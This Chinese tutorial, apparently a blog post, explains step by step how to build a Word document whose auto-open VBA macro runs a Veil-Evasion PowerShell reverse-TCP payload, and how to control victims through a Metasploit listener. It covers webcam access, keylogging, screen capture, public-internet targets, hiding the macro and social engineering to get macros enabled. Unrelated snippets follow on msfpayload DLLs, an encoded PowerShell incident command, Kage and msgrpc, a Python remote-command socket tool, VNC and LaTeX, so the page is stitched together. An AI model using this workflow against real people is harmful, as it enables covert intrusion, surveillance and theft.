【原创】利用Office宏实现powershell payload远控

  本文将演示使用Veil-Evasion生成远控所需要的payload以及监听器,然后使用MacroShop生成payload 相关的VBA代码,最后演示将VBA代码写入.doc文本文档的宏中。

  环境:虚拟机_Kali         

  依赖:Veil-Evasion、MacroShop

0x00 安装Veil-Evasion、MacroShop (老鸟可绕过)

本例采用git 安装。

   打开Veil-Evasion的github页面:https://github.com/Veil-Framework/Veil-Evasion

  如上图所示,点击【Clone or download】,复制该URL。

  在kali(本例为root权限)的Terminal下使用命令:

    git clone https://github.com/Veil-Framework/Veil-Evasion.git

  等待下载完毕后执行进入Veil-Evasion的目录进行安装。执行命令:

    cd Veil-Evasion/

    cd setup

    ./setup.sh -c

  使用git方法下载之前需要安装git,方法是在执行命令:

    apt-get -y install git

同理安装MacroShop(Github: https://github.com/khr0x40sh/MacroShop)。

0x01 Veil-Evasion 生成Batch

运行Veil-Evasion下的Veil-Evasion.py。

  在menu下输入”list”查看可以生成的payload的对应标号。

  本例要生成一个powershell的payload,使用tcp协议连接通信。

  在menu下输入对应编号后回车。本例输入”24”。进入payload配置。

  当前缺省配置为主机IP为空,监听端口为4444。接下来设置这两个参数。通过在Terminal下使用ifconfig得到本机IP,本例为172.22.195.135。

  输入:

    set LHOST 172.22.195.135(回车)

   set LPORT 4118(回车)

这样我们就设置完毕了。可以使用info命令查看当前配置信息。

端口号的设置要在端口可用范围之内必开常用端口,以免出现占用情况。具体取值范围请参阅计算机网络。

  接下来,使用generate命令生成该payload。

  此时需要给这个payload文件命名,命名由用户任意决定。本例为d0main_payload。

  生成成功后,注意记录payload(Payload File)的存储路径和句柄(Handler File)存储路径。

0x02 MacroShop生成VBA语句

  在MacroShop下,执行命令:

    ./macro_safe.py Payload File 输出文本文档

  本例为:

    ./macro_safe.py /usr/share/veil-output/source/d0main_payload.bat d0main.txt

这样,MacroShop就为我们在其程序目录下生成了一个.txt的文件,其中的内容为VBA的代码(是一个open方法,当启用宏是,这些代码将自动执行)。

  可以使用vi d0main.txt看一下这个文本文档。

  复制这个方法的主要语句,从Dim Command As String 到 Shell exec , VBAHide 即可。

 0x03 创建宏

打开一个word文档,.doc或.docx。在【视图】选项卡中点击【宏】。

  在【宏名】文本框中输入要创建的宏名(由用户自己定义),然后点击【创建】。

随机进入代码模式,点击左侧【Project】-->【Microsoft Word对象】-->【ThisDocument】(双击)。

在右侧打开的代码窗口中,点击左上方的下拉菜单选择【Document】,在右上方的下拉菜单中选择【Open】。然后粘贴刚刚复制的VBA代码。

  注意粘贴代码时,只在Private Sub Document_Open()和End Sub之间粘贴。

  点击保存之后就可以关闭了。至此,生成了一个用office宏实现的带有payload的word文档。

0x04 msfconsole下监听

回到kali,在Terminal执行命令:

Msfconsole -r 句柄文件

这样便开启对powershell payload的监听。

0x06上线与远控

保证监听器处于启动状态,如果上面我们创建的word文档被打开并启用宏,监听器将收到上线信号。等待几秒钟后,产生一个会话(本例为会话1)。

在msf exploit(handler)下输入:sessions -i 会话号(回车)

这里的会话号必须是上线了的会话号。

然后就可以进行远控操作了,例如查看系统信息、截屏、查看进程管理器、关闭进程、打开摄像头、记录键盘等等。

说明:

  本文选择在虚拟机和宿主机之间进行演示,如果需要远控公网上的目标,应该在LHOST填写自己的公网IP。我们可以借助花生壳来完成。

  可能有人会说,【视图】选项卡下面的【宏】会暴露我们自己创建的宏,比如本例中的NewPayload。其实这个宏可以在创建它的地方(见0x03)再将其删除掉。这样操作并不会让我们的payload失效。这样即使对方去【宏】中查找也不会在列表中找到我们生成的宏。

  除了早期的office版本外,大多数Office版本默认不启用宏,因此第一次打开带有宏的文档时,会被询问是否“启用内容”,为了让对方启用宏,我们可以使用一些特殊手段比如社工等。这里不做赘述。

  Payload上线后,打开Win这一端会启动一个powershell进程,可以在任务管理器中看到。如果主动去结束这个进程,远控即会掉线。

时间: 2024-08-27 19:04:31

【原创】利用Office宏实现powershell payload远控的相关文章

利用kage把msf变成可视化远控平台

项目下载https://github.com/WayzDev/Kage/releases 这里用kali系统演示 1,先下载kage: 2,右击给予执行权限 3,启动msf msfconsole -q -x 'load msgrpc ServerHost=0.0.0.0 ServerPort=55552 User=msfuser Pass=msfpass' 注意:如果kage跟msf不在一个机器上,上面命令如果不带serverhost参数,则只容许127.0.0.1链接我们也那么可以通过 msf

在LaTeX中利用preview宏包和tikz宏包生成单图pdf

有时候我们利用tikz宏包画出的图片后,只想生成一个单图pdf,而且pdf的页面大小与图片相同,以便于以后再次用latex插入. 可以与preview宏包进行搭配,页面大小由图像大小决定,可以通过改变\PreviewBorder的值来改变页边界的空白大小. 效果如下: 代码如下: 1 \documentclass{beamer} 2 \usepackage{tikz} 3 \usetikzlibrary{arrows,snakes,backgrounds} 4 \usepackage[activ

老王教你分析远控木马是怎样工作的

本 来是一个朋友给我,要我找下后门的,可是这远控太强大了,而且作者的汇编基础非常强,就没找到,倒是无巧不成书的,发现了他的隐藏技术,瞬间感觉喜欢上 了,于是写成了win32 分享下,3分钟前,主动防御会拦截,但是电脑重启后  程序可以运行,现在又测试了下,已经变成高危病毒了,无语的360啊...源码如下,各位可以根据 需要修改: [AppleScript] 纯文本查看 复制代码 ? 001 002 003 004 005 006 007 008 009 010 011 012 013 014 0

python+msf make windows远控

分析的一个远控,感谢wstone的指导~ 创建dll ./msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.123 lport=4444 -t dll X > /tmp/sc.dll python main.py import sys, os import shutil import time import ctypes import glob import multiprocessing import multiprocess

一起应急远控事件分析

攻击者执行的Powershell命令如下: pwd=asasd3344&cmd=cmd /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8Ad

python之远控工具

原理:利用套字节发送命令,在服务端执行,并将执行的结果返回客户端. 在python3中发送文本使用:send()把字符串encode进行编码,接受recv()把字符串使用decode进行解码. # coding:utf-8 import socket import os # 创建套字节 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 绑定套字节(①获取主机名,②设置端口) host = socket.gethostname() po

linux vncserver 远控

在Linux上启动VNC Server(如果没安装的话那就先安装) 执行vncserver命令: [[email protected] root]# vncserver You will require a password to access your desktops. Password: ----为了不想任何人都可以任意遥控此计算机.因此当第 Verify: ---1次启动VNC server时,会要求设置网络遥控的密码. 这样后就设置了密码,再运行vncserver 记住这个1,下面会用

晚安西南-----远控房魅影二之FKQ1440-14

序言: 在本系列文章中,已详细介绍过了FKQ6407这台远控房,其实此型号的远控房已满足了之前区块井的施工,井口封井器加上一个液动4号,此型号的远控房最多控制5个对象.而本次施工的探井,至三开所需要控制的对象有9个,其中井口为双双闸板加环形的5组合,其实就是闸板中多了一副剪切,再加上双105MPa节流管汇.单压井管汇.放喷管线,那么设计上这四条直通管到管汇前都必须带一只液动平板阀,也正因为这个原因,本次所配备的远控房型号应该算是陆地上最高规格的FKQ1440-14.它拥有着豪华的配置,24只60

纪念我在乙方安全公司工作的2年_关于远控

乙方安全公司工作主要还是往外卖一些安全产品.比如做数据取证的,入侵检测的,或者往外卖硬件的IDS IPS没有实力的就买别家的产品自己贴牌,深深感受到乙方公司关系取得订单和销售的重要.我之前的公司还是做取数据的比较多.既然要拿数据一套好用的远控是必不可少的.在乙方公司的这段时间特别感谢小鱼 hack970.学到了好多东西,不管是技术上还是精神上.得到了很多鼓励. 如果要取境外的数据的话.远控从结构上要考虑这三点. 1  多协议穿墙.这方面就是Plug X 做的是比较好的,好像再没有看到比较出彩的.